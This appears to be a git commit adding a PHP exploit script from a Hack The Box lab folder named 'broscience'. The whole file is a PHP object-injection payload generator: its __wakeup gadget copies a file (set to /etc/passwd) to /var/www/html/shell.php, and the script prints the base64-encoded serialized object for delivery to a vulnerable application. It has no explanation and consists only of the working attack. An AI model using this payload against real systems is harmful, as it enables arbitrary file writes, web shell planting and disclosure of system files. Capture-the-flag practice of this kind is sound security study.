init htb

old htb folders

HTB/broscience/ape.php

@@ -0,0 +1,30 @@
+<?php
+
+class Avatar {
+    public $imgPath;
+
+    public function __construct($imgPath) {
+        $this->imgPath = $imgPath;
+    }
+
+    public function save($tmp) {
+        $f = fopen($this->imgPath, "w");
+        fwrite($f, file_get_contents($tmp));
+        fclose($f);
+    }
+}
+
+class AvatarInterface {
+    public $tmp = "/etc/passwd";
+    public $imgPath = "/var/www/html/shell.php"; 
+
+    public function __wakeup() {
+        $a = new Avatar($this->imgPath);
+        $a->save($this->tmp);
+    }
+}
+
+$a = new AvatarInterface();
+echo base64_encode(serialize($a));
+
+?>